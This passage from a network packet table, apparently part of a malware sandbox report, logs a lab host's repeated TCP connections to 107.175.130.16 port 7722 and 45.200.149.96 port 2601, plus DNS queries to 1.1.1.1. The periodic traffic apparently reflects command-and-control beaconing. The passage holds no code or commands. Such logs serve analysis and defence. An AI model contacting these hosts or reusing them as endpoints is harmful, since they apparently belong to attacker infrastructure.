Jan 1, 2025 19:27:18.833805084 CET	7722	57118	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:18.833856106 CET	57118	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:20.988152981 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:20.993077993 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:20.993148088 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:20.993606091 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:20.993681908 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:20.998420954 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:21.042382002 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:21.377547979 CET	7722	57120	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:21.377592087 CET	57120	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:22.242636919 CET	45874	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:22.247571945 CET	2601	45874	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:22.247632980 CET	45874	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:22.248347998 CET	45874	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:22.253133059 CET	2601	45874	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:22.253176928 CET	45874	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:22.257951021 CET	2601	45874	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:23.070909977 CET	2601	45874	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:23.070971966 CET	45874	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:23.071043968 CET	45874	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:25.824059963 CET	42836	443	192.168.2.23	91.189.91.43
Jan 1, 2025 19:27:26.001770973 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:26.006661892 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:26.006741047 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:26.007209063 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:26.007276058 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:26.011962891 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:26.054119110 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:26.386866093 CET	7722	57124	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:26.386919022 CET	57124	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:29.915524960 CET	42516	80	192.168.2.23	109.202.202.202
Jan 1, 2025 19:27:33.129761934 CET	57126	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.134649038 CET	7722	57126	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.134711981 CET	57126	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.135102987 CET	57126	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.135190010 CET	57126	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.139894009 CET	7722	57126	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.182053089 CET	7722	57126	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.447891951 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.452727079 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.452783108 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.453219891 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.453280926 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.458015919 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.499420881 CET	7722	57126	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.499468088 CET	57126	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:33.501992941 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.839476109 CET	7722	57128	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:33.839667082 CET	57128	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.894207954 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.896699905 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.899600029 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:40.899646997 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.900409937 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.900504112 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.902005911 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:40.902051926 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.905121088 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:40.905210972 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.905272007 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:40.910612106 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:40.946023941 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:40.950231075 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:41.272631884 CET	7722	57130	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:41.272743940 CET	57130	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:41.282730103 CET	7722	57132	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:41.282788992 CET	57132	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.467972040 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.472875118 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.472968102 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.473202944 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.474920034 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.475040913 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.478019953 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.479749918 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.484926939 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.486185074 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.486248016 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.490919113 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.522049904 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.534080029 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.837649107 CET	7722	57134	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.837815046 CET	57134	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:48.858891964 CET	7722	57136	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:48.858994007 CET	57136	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:49.802037001 CET	45890	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:49.806880951 CET	2601	45890	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:49.806927919 CET	45890	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:49.807660103 CET	45890	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:49.812381983 CET	2601	45890	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:49.812414885 CET	45890	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:49.818058968 CET	2601	45890	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:50.638933897 CET	2601	45890	45.200.149.96	192.168.2.23
Jan 1, 2025 19:27:50.638986111 CET	45890	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:50.639022112 CET	45890	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:27:54.488116980 CET	43928	443	192.168.2.23	91.189.91.42
Jan 1, 2025 19:27:55.891094923 CET	57140	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.896724939 CET	7722	57140	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:55.896789074 CET	57140	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.898001909 CET	57140	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.898154020 CET	57140	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.903143883 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.903574944 CET	7722	57140	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:55.908684969 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:55.908725023 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.925985098 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.926088095 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:55.931648970 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:55.946886063 CET	7722	57140	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:55.974049091 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:56.265410900 CET	7722	57140	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:56.265537977 CET	57140	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:27:56.283749104 CET	7722	57142	107.175.130.16	192.168.2.23
Jan 1, 2025 19:27:56.283807039 CET	57142	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.957983971 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.960273027 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.962949038 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:00.963004112 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.963529110 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.963644981 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.965080976 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:00.968261003 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:00.975207090 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.979126930 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.979223013 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:00.983900070 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:01.010046005 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:01.026055098 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:01.343143940 CET	7722	57144	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:01.343234062 CET	57144	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:01.351439953 CET	7722	57146	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:01.351484060 CET	57146	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.949218988 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.951145887 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.954302073 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:05.954358101 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.954762936 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.954827070 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.956156015 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:05.956197977 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.959604979 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:05.972683907 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.972753048 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:05.977540970 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:06.006094933 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:06.022025108 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:06.321840048 CET	7722	57150	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:06.321899891 CET	57150	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:06.327266932 CET	7722	57148	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:06.327310085 CET	57148	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.901695013 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.906533957 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:15.906577110 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.908530951 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.908636093 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.913275003 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:15.932395935 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.937427998 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:15.937472105 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.954258919 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:15.956703901 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.956799030 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:15.961704016 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:16.006313086 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:16.284852982 CET	7722	57152	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:16.284928083 CET	57152	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:16.317717075 CET	7722	57154	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:16.317857027 CET	57154	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:16.825378895 CET	45908	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:16.830210924 CET	2601	45908	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:16.830279112 CET	45908	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:16.832160950 CET	45908	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:16.836910963 CET	2601	45908	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:16.837057114 CET	45908	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:16.841902971 CET	2601	45908	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:17.666302919 CET	2601	45908	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:17.666547060 CET	45908	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:17.666547060 CET	45908	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:25.897773981 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.902702093 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:25.902762890 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.904081106 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.904639006 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.904736996 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.908932924 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:25.909463882 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:25.910571098 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.919898987 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.920016050 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:25.924665928 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:25.950208902 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:25.970015049 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:26.281774998 CET	7722	57158	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:26.281949997 CET	57158	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:26.295553923 CET	7722	57160	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:26.295630932 CET	57160	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.499732971 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.504707098 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.504781008 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.506547928 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.511353016 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.514991999 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.515044928 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.519844055 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.532618999 CET	57164	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.538129091 CET	7722	57164	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.538186073 CET	57164	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.544061899 CET	57164	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.544167042 CET	57164	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.548909903 CET	7722	57164	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.562026024 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.583908081 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.588815928 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.588857889 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.594471931 CET	7722	57164	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.658835888 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.658993006 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.664855957 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.714226961 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.869764090 CET	7722	57162	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.869930029 CET	57162	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.906369925 CET	7722	57164	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.906514883 CET	57164	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:33.961632967 CET	7722	57166	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:33.961684942 CET	57166	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.903906107 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.908771992 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:40.908849001 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.910131931 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.910226107 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.914962053 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:40.943351984 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.948165894 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:40.948256969 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.958070993 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:40.977387905 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.977449894 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:40.982172012 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:41.026170969 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:41.300138950 CET	7722	57168	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:41.300236940 CET	57168	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:41.321547031 CET	7722	57170	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:41.321634054 CET	57170	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:43.820017099 CET	45924	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:43.824875116 CET	2601	45924	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:43.824928999 CET	45924	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:43.825711012 CET	45924	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:43.830488920 CET	2601	45924	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:43.830533028 CET	45924	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:43.835268021 CET	2601	45924	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:44.666969061 CET	2601	45924	45.200.149.96	192.168.2.23
Jan 1, 2025 19:28:44.667138100 CET	45924	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:44.667185068 CET	45924	2601	192.168.2.23	45.200.149.96
Jan 1, 2025 19:28:48.520685911 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.525590897 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.525656939 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.526834965 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.526930094 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.531596899 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.558374882 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.563221931 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.563278913 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.574016094 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.597549915 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.597651958 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.602375984 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.646882057 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.897504091 CET	7722	57174	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.897645950 CET	57174	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:48.931869030 CET	7722	57176	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:48.931952953 CET	57176	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.900593996 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.905430079 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:55.905502081 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.906935930 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.907021999 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.911655903 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:55.921271086 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.926089048 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:55.926156998 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.926933050 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.927015066 CET	57180	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:55.931698084 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:55.958096981 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:55.974026918 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:56.274002075 CET	7722	57178	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:56.274209023 CET	57178	7722	192.168.2.23	107.175.130.16
Jan 1, 2025 19:28:56.301748991 CET	7722	57180	107.175.130.16	192.168.2.23
Jan 1, 2025 19:28:56.301846981 CET	57180	7722	192.168.2.23	107.175.130.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 19:26:55.136593103 CET	33290	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:55.222951889 CET	53	33290	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:55.228065968 CET	55380	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:55.241785049 CET	53	55380	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:55.245820999 CET	41545	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:55.254184961 CET	53	41545	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:55.259864092 CET	60533	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:55.267119884 CET	53	60533	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:55.271462917 CET	58185	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:55.286715984 CET	53	58185	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:55.291819096 CET	55077	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:55.304621935 CET	53	55077	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:57.136640072 CET	56244	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:57.151160955 CET	53	56244	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:57.159044981 CET	42103	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:57.174571037 CET	53	42103	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:57.179969072 CET	48210	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:57.187072039 CET	53	48210	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:57.192612886 CET	53612	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:57.202061892 CET	53	53612	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:57.207263947 CET	52741	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:26:57.215287924 CET	53	52741	1.1.1.1	192.168.2.23
Jan 1, 2025 19:26:57.221803904 CET	55986	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:02.225425005 CET	40795	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:07.227760077 CET	58133	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:12.236684084 CET	59369	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:17.239196062 CET	41632	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:24.072220087 CET	52696	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:24.721425056 CET	53	52696	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:24.722098112 CET	46505	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:24.731087923 CET	53	46505	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:24.731723070 CET	60648	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:24.751029015 CET	53	60648	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:24.751868010 CET	55876	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:24.759063959 CET	53	55876	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:24.759797096 CET	52660	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:24.782736063 CET	53	52660	1.1.1.1	192.168.2.23
Jan 1, 2025 19:27:24.783409119 CET	50916	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:29.788053036 CET	50189	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:34.791549921 CET	54790	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:39.794759035 CET	53648	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:44.798049927 CET	36027	53	192.168.2.23	1.1.1.1
Jan 1, 2025 19:27:51.640131950 CET	53783	53	192.168.2.23	1.1.1.1
